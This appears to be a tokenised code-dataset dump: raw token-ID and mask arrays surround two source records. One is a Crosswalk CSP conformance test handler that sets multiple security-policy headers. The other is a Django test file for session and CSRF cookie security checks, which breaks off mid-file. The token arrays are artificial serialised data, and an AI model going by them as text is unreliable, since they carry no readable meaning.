32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
crosswalk-project/web-testing-service
wts/tests/csp/csp_enforcing_multiple_policies.py
25
3282
def main(request, response): import simplejson as json f = file('config.json') source = f.read() s = json.JSONDecoder().decode(source) url1 = "http://" + s['host'] + ":" + str(s['ports']['http'][1]) response.headers.set( "Content-Security-Policy", "connect-src * 'unsafe-inline'") response.headers.set( "X-Content-Security-Policy", "connect-src * 'unsafe-inline'") response.headers.set("X-WebKit-CSP", "connect-src * 'unsafe-inline'") response.headers.set( "Content-Security-Policy", "connect-src 'self' 'unsafe-inline'") response.headers.set( "X-Content-Security-Policy", "connect-src 'self' 'unsafe-inline'") response.headers.set("X-WebKit-CSP", "connect-src 'self' 'unsafe-inline'") return """<!DOCTYPE html> <!-- Copyright (c) 2013 Intel Corporation. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of works must retain the original copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the original copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this work without specific prior written permission. THIS SOFTWARE IS PROVIDED BY INTEL CORPORATION "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Authors: Xu, Jianfeng <jianfengx.xu@intel.com> --> <html> <head> <title>CSP Test: csp_enforcing_multiple_policies</title> <link rel="author" title="Intel" href="http://www.intel.com/"/> <link rel="help" href="http://www.w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html#enforcing-multiple-policies"/> <meta name="flags" content=""/> <meta name="assert" content="connect-src * 'unsafe-inline'"/> <meta charset="utf-8"/> <script src="../resources/testharness.js"></script> <script src="../resources/testharnessreport.js"></script> </head> <body> <div id="log"></div> <script> var xhr = new XMLHttpRequest(); test(function() { try { xhr.open("GET", "http://https://www.tizen.org"); assert_unreached("Should not reach here"); } catch(e) { assert_true(!!e.message) } }, document.title + "_blocked"); </script> </body> </html> """
bsd-3-clause
[ 318, 2446, 8, 1069, 12, 1177, 304, 272, 492, 13804, 465, 2022, 272, 289, 275, 570, 360, 888, 14, 1001, 358, 272, 1350, 275, 289, 14, 739, 342, 272, 308, 275, 2022, 14, 6243, 8326, 1252, 2708, 8, 1365, 9, 272, 1166, 17, 275, 298, 1014, 30443, 435, 308, 459, 1102, 418, 435, 14725, 435, 620, 8, 83, 459, 5203, 2545, 1014, 3488, 17, 566, 272, 1177, 14, 2139, 14, 409, 8, 267, 298, 2714, 13, 7676, 13, 4845, 401, 267, 298, 2242, 13, 2164, 627, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 8, 267, 298, 56, 13, 2714, 13, 7676, 13, 4845, 401, 267, 298, 2242, 13, 2164, 627, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 480, 56, 13, 21666, 13, 30635, 401, 298, 2242, 13, 2164, 627, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 8, 267, 298, 2714, 13, 7676, 13, 4845, 401, 267, 298, 2242, 13, 2164, 283, 277, 7, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 8, 267, 298, 56, 13, 2714, 13, 7676, 13, 4845, 401, 267, 298, 2242, 13, 2164, 283, 277, 7, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 480, 56, 13, 21666, 13, 30635, 401, 298, 2242, 13, 2164, 283, 277, 7, 283, 14242, 13, 6460, 9859, 272, 372, 8894, 1, 16556, 3517, 30, 199, 25273, 199, 7384, 334, 67, 9, 6171, 20619, 11098, 14, 199, 199, 497, 4972, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 7100, 12, 199, 1530, 8211, 2741, 626, 314, 2569, 3704, 787, 7647, 26, 199, 199, 10, 6823, 402, 5419, 1471, 8074, 314, 3379, 4248, 4245, 12, 642, 769, 523, 402, 3704, 436, 314, 2569, 6450, 14, 199, 10, 6823, 315, 3366, 1824, 1471, 9172, 314, 3379, 4248, 4245, 12, 523, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 3794, 523, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 10, 11443, 314, 536, 402, 20619, 11098, 6590, 314, 1561, 402, 2399, 8417, 523, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 642, 1736, 1928, 523, 2488, 6791, 5313, 4983, 14, 199, 199, 24571, 4141, 2281, 7049, 6515, 16429, 2901, 27072, 298, 1179, 2281, 2, 199, 3649, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 199, 8947, 5177, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 199, 8693, 9706, 14, 1621, 4825, 6461, 7000, 16429, 2901, 27072, 6262, 7024, 2381, 1821, 8703, 12, 199, 568, 6098, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 199, 12728, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3998, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 9815, 199, 3359, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 334, 6446, 199, 6388, 9179, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 199, 37, 8253, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 2817, 1384, 26, 267, 1323, 85, 12, 25359, 70, 7420, 665, 74, 5653, 70, 7420, 88, 14, 88, 85, 32, 22264, 14, 957, 30, 199, 199, 31647, 199, 199, 28, 1360, 30, 523, 665, 2993, 30, 272, 665, 1213, 30, 30635, 1379, 26, 286, 681, 63, 287, 509, 4477, 63, 6048, 63, 11767, 1108, 1213, 30, 272, 665, 1073, 4668, 628, 2502, 2, 2538, 628, 27528, 2, 4369, 628, 1014, 921, 1544, 14, 22264, 14, 957, 6687, 3133, 272, 665, 1073, 4668, 628, 3437, 2, 4369, 628, 1014, 921, 1544, 14, 87, 19, 67, 14, 5031, 14, 2308, 15, 22632, 3321, 15, 7273, 15, 1317, 13, 4416, 13, 3185, 15, 30608, 13, 22271, 14, 2374, 14, 1360, 3, 287, 509, 4477, 13, 6048, 13, 11767, 7897, 272, 665, 2024, 536, 628, 2469, 2, 1564, 9287, 3133, 272, 665, 2024, 536, 628, 479, 2, 1564, 628, 2242, 13, 2164, 627, 283, 14242, 13, 6460, 4065, 3133, 272, 665, 2024, 5960, 628, 1624, 13, 24, 7897, 272, 665, 1579, 2928, 628, 5093, 4435, 15, 396, 23569, 14, 3596, 10070, 1579, 30, 272, 665, 1579, 2928, 628, 5093, 4435, 15, 396, 23569, 3070, 14, 3596, 10070, 1579, 30, 523, 3068, 2993, 30, 523, 665, 2030, 30, 272, 665, 3015, 1305, 628, 793, 10070, 3015, 30, 272, 665, 1579, 30, 267, 2729, 671, 6271, 275, 892, 4692, 10441, 7303, 398, 511, 8, 1593, 342, 469, 288, 862, 469, 355, 671, 6271, 14, 1490, 480, 2970, 401, 298, 1014, 921, 2859, 921, 1544, 14, 280, 5193, 14, 1308, 3547, 355, 702, 63, 324, 30931, 480, 11408, 440, 12276, 2348, 3547, 288, 789, 8579, 8, 69, 9, 469, 355, 702, 63, 2052, 8, 3480, 69, 14, 1188, 9, 288, 789, 267, 1660, 2213, 14, 1213, 435, 2668, 17726, 3547, 272, 3068, 1579, 30, 523, 3068, 2030, 30, 199, 1108, 1360, 30, 408, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2446, 8, 1069, 12, 1177, 304, 272, 492, 13804, 465, 2022, 272, 289, 275, 570, 360, 888, 14, 1001, 358, 272, 1350, 275, 289, 14, 739, 342, 272, 308, 275, 2022, 14, 6243, 8326, 1252, 2708, 8, 1365, 9, 272, 1166, 17, 275, 298, 1014, 30443, 435, 308, 459, 1102, 418, 435, 14725, 435, 620, 8, 83, 459, 5203, 2545, 1014, 3488, 17, 566, 272, 1177, 14, 2139, 14, 409, 8, 267, 298, 2714, 13, 7676, 13, 4845, 401, 267, 298, 2242, 13, 2164, 627, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 8, 267, 298, 56, 13, 2714, 13, 7676, 13, 4845, 401, 267, 298, 2242, 13, 2164, 627, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 480, 56, 13, 21666, 13, 30635, 401, 298, 2242, 13, 2164, 627, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 8, 267, 298, 2714, 13, 7676, 13, 4845, 401, 267, 298, 2242, 13, 2164, 283, 277, 7, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 8, 267, 298, 56, 13, 2714, 13, 7676, 13, 4845, 401, 267, 298, 2242, 13, 2164, 283, 277, 7, 283, 14242, 13, 6460, 9859, 272, 1177, 14, 2139, 14, 409, 480, 56, 13, 21666, 13, 30635, 401, 298, 2242, 13, 2164, 283, 277, 7, 283, 14242, 13, 6460, 9859, 272, 372, 8894, 1, 16556, 3517, 30, 199, 25273, 199, 7384, 334, 67, 9, 6171, 20619, 11098, 14, 199, 199, 497, 4972, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 7100, 12, 199, 1530, 8211, 2741, 626, 314, 2569, 3704, 787, 7647, 26, 199, 199, 10, 6823, 402, 5419, 1471, 8074, 314, 3379, 4248, 4245, 12, 642, 769, 523, 402, 3704, 436, 314, 2569, 6450, 14, 199, 10, 6823, 315, 3366, 1824, 1471, 9172, 314, 3379, 4248, 4245, 12, 523, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 3794, 523, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 10, 11443, 314, 536, 402, 20619, 11098, 6590, 314, 1561, 402, 2399, 8417, 523, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 642, 1736, 1928, 523, 2488, 6791, 5313, 4983, 14, 199, 199, 24571, 4141, 2281, 7049, 6515, 16429, 2901, 27072, 298, 1179, 2281, 2, 199, 3649, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 199, 8947, 5177, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 199, 8693, 9706, 14, 1621, 4825, 6461, 7000, 16429, 2901, 27072, 6262, 7024, 2381, 1821, 8703, 12, 199, 568, 6098, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 199, 12728, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3998, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 9815, 199, 3359, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 334, 6446, 199, 6388, 9179, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 199, 37, 8253, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 2817, 1384, 26, 267, 1323, 85, 12, 25359, 70, 7420, 665, 74, 5653, 70, 7420, 88, 14, 88, 85, 32, 22264, 14, 957, 30, 199, 199, 31647, 199, 199, 28, 1360, 30, 523, 665, 2993, 30, 272, 665, 1213, 30, 30635, 1379, 26, 286, 681, 63, 287, 509, 4477, 63, 6048, 63, 11767, 1108, 1213, 30, 272, 665, 1073, 4668, 628, 2502, 2, 2538, 628, 27528, 2, 4369, 628, 1014, 921, 1544, 14, 22264, 14, 957, 6687, 3133, 272, 665, 1073, 4668, 628, 3437, 2, 4369, 628, 1014, 921, 1544, 14, 87, 19, 67, 14, 5031, 14, 2308, 15, 22632, 3321, 15, 7273, 15, 1317, 13, 4416, 13, 3185, 15, 30608, 13, 22271, 14, 2374, 14, 1360, 3, 287, 509, 4477, 13, 6048, 13, 11767, 7897, 272, 665, 2024, 536, 628, 2469, 2, 1564, 9287, 3133, 272, 665, 2024, 536, 628, 479, 2, 1564, 628, 2242, 13, 2164, 627, 283, 14242, 13, 6460, 4065, 3133, 272, 665, 2024, 5960, 628, 1624, 13, 24, 7897, 272, 665, 1579, 2928, 628, 5093, 4435, 15, 396, 23569, 14, 3596, 10070, 1579, 30, 272, 665, 1579, 2928, 628, 5093, 4435, 15, 396, 23569, 3070, 14, 3596, 10070, 1579, 30, 523, 3068, 2993, 30, 523, 665, 2030, 30, 272, 665, 3015, 1305, 628, 793, 10070, 3015, 30, 272, 665, 1579, 30, 267, 2729, 671, 6271, 275, 892, 4692, 10441, 7303, 398, 511, 8, 1593, 342, 469, 288, 862, 469, 355, 671, 6271, 14, 1490, 480, 2970, 401, 298, 1014, 921, 2859, 921, 1544, 14, 280, 5193, 14, 1308, 3547, 355, 702, 63, 324, 30931, 480, 11408, 440, 12276, 2348, 3547, 288, 789, 8579, 8, 69, 9, 469, 355, 702, 63, 2052, 8, 3480, 69, 14, 1188, 9, 288, 789, 267, 1660, 2213, 14, 1213, 435, 2668, 17726, 3547, 272, 3068, 1579, 30, 523, 3068, 2030, 30, 199, 1108, 1360, 30, 408, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
sadaf2605/django
tests/check_framework/test_security.py
12
18165
from django.conf import settings from django.core.checks.security import base, csrf, sessions from django.core.checks.utils import patch_middleware_message from django.test import SimpleTestCase from django.test.utils import override_settings class CheckSessionCookieSecureTest(SimpleTestCase): @property def func(self): from django.core.checks.security.sessions import check_session_cookie_secure return check_session_cookie_secure @override_settings( SESSION_COOKIE_SECURE=False, INSTALLED_APPS=["django.contrib.sessions"], MIDDLEWARE=[]) def test_session_cookie_secure_with_installed_app(self): """ Warn if SESSION_COOKIE_SECURE is off and "django.contrib.sessions" is in INSTALLED_APPS. """ self.assertEqual(self.func(None), [sessions.W010]) @override_settings( SESSION_COOKIE_SECURE=False, INSTALLED_APPS=["django.contrib.sessions"], MIDDLEWARE=None, MIDDLEWARE_CLASSES=[]) def test_session_cookie_secure_with_installed_app_middleware_classes(self): self.assertEqual(self.func(None), [sessions.W010]) @override_settings( SESSION_COOKIE_SECURE=False, INSTALLED_APPS=[], MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"]) def test_session_cookie_secure_with_middleware(self): """ Warn if SESSION_COOKIE_SECURE is off and "django.contrib.sessions.middleware.SessionMiddleware" is in MIDDLEWARE. """ self.assertEqual(self.func(None), [sessions.W011]) @override_settings( SESSION_COOKIE_SECURE=False, INSTALLED_APPS=[], MIDDLEWARE=None, MIDDLEWARE_CLASSES=["django.contrib.sessions.middleware.SessionMiddleware"]) def test_session_cookie_secure_with_middleware_middleware_classes(self): self.assertEqual(self.func(None), [patch_middleware_message(sessions.W011)]) @override_settings( SESSION_COOKIE_SECURE=False, INSTALLED_APPS=["django.contrib.sessions"], MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"]) def test_session_cookie_secure_both(self): """ If SESSION_COOKIE_SECURE is off and we find both the session app and the middleware, provide one common warning. """ self.assertEqual(self.func(None), [sessions.W012]) @override_settings( SESSION_COOKIE_SECURE=False, INSTALLED_APPS=["django.contrib.sessions"], MIDDLEWARE=None, MIDDLEWARE_CLASSES=["django.contrib.sessions.middleware.SessionMiddleware"]) def test_session_cookie_secure_both_middleware_classes(self): self.assertEqual(self.func(None), [sessions.W012]) @override_settings( SESSION_COOKIE_SECURE=True, INSTALLED_APPS=["django.contrib.sessions"], MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"]) def test_session_cookie_secure_true(self): """ If SESSION_COOKIE_SECURE is on, there's no warning about it. """ self.assertEqual(self.func(None), []) class CheckSessionCookieHttpOnlyTest(SimpleTestCase): @property def func(self): from django.core.checks.security.sessions import check_session_cookie_httponly return check_session_cookie_httponly @override_settings( SESSION_COOKIE_HTTPONLY=False, INSTALLED_APPS=["django.contrib.sessions"], MIDDLEWARE=[]) def test_session_cookie_httponly_with_installed_app(self): """ Warn if SESSION_COOKIE_HTTPONLY is off and "django.contrib.sessions" is in INSTALLED_APPS. """ self.assertEqual(self.func(None), [sessions.W013]) @override_settings( SESSION_COOKIE_HTTPONLY=False, INSTALLED_APPS=[], MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"]) def test_session_cookie_httponly_with_middleware(self): """ Warn if SESSION_COOKIE_HTTPONLY is off and "django.contrib.sessions.middleware.SessionMiddleware" is in MIDDLEWARE. """ self.assertEqual(self.func(None), [sessions.W014]) @override_settings( SESSION_COOKIE_HTTPONLY=False, INSTALLED_APPS=["django.contrib.sessions"], MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"]) def test_session_cookie_httponly_both(self): """ If SESSION_COOKIE_HTTPONLY is off and we find both the session app and the middleware, provide one common warning. """ self.assertEqual(self.func(None), [sessions.W015]) @override_settings( SESSION_COOKIE_HTTPONLY=True, INSTALLED_APPS=["django.contrib.sessions"], MIDDLEWARE=["django.contrib.sessions.middleware.SessionMiddleware"]) def test_session_cookie_httponly_true(self): """ If SESSION_COOKIE_HTTPONLY is on, there's no warning about it. """ self.assertEqual(self.func(None), []) class CheckCSRFMiddlewareTest(SimpleTestCase): @property def func(self): from django.core.checks.security.csrf import check_csrf_middleware return check_csrf_middleware @override_settings(MIDDLEWARE=[], MIDDLEWARE_CLASSES=[]) def test_no_csrf_middleware(self): """ Warn if CsrfViewMiddleware isn't in MIDDLEWARE. """ self.assertEqual(self.func(None), [csrf.W003]) @override_settings( MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"]) def test_with_csrf_middleware(self): self.assertEqual(self.func(None), []) class CheckCSRFCookieSecureTest(SimpleTestCase): @property def func(self): from django.core.checks.security.csrf import check_csrf_cookie_secure return check_csrf_cookie_secure @override_settings( MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"], CSRF_COOKIE_SECURE=False) def test_with_csrf_cookie_secure_false(self): """ Warn if CsrfViewMiddleware is in MIDDLEWARE but CSRF_COOKIE_SECURE isn't True. """ self.assertEqual(self.func(None), [csrf.W016]) @override_settings(MIDDLEWARE=[], MIDDLEWARE_CLASSES=[], CSRF_COOKIE_SECURE=False) def test_with_csrf_cookie_secure_false_no_middleware(self): """ No warning if CsrfViewMiddleware isn't in MIDDLEWARE, even if CSRF_COOKIE_SECURE is False. """ self.assertEqual(self.func(None), []) @override_settings( MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"], CSRF_COOKIE_SECURE=True) def test_with_csrf_cookie_secure_true(self): self.assertEqual(self.func(None), []) class CheckCSRFCookieHttpOnlyTest(SimpleTestCase): @property def func(self): from django.core.checks.security.csrf import check_csrf_cookie_httponly return check_csrf_cookie_httponly @override_settings( MIDDLEWARE=["django.middleware.csrf.CsrfViewMiddleware"], CSRF_COOKIE_HTTPONLY=False) def test_with_csrf_cookie_httponly_false(self): """ Warn if CsrfViewMiddleware is in MIDDLEWARE but CSRF_COOKIE_HTTPONLY isn't True. """ self.assertEqual(self.func(None), [csrf.W017]) @override_settings(MIDDLEWARE=[], 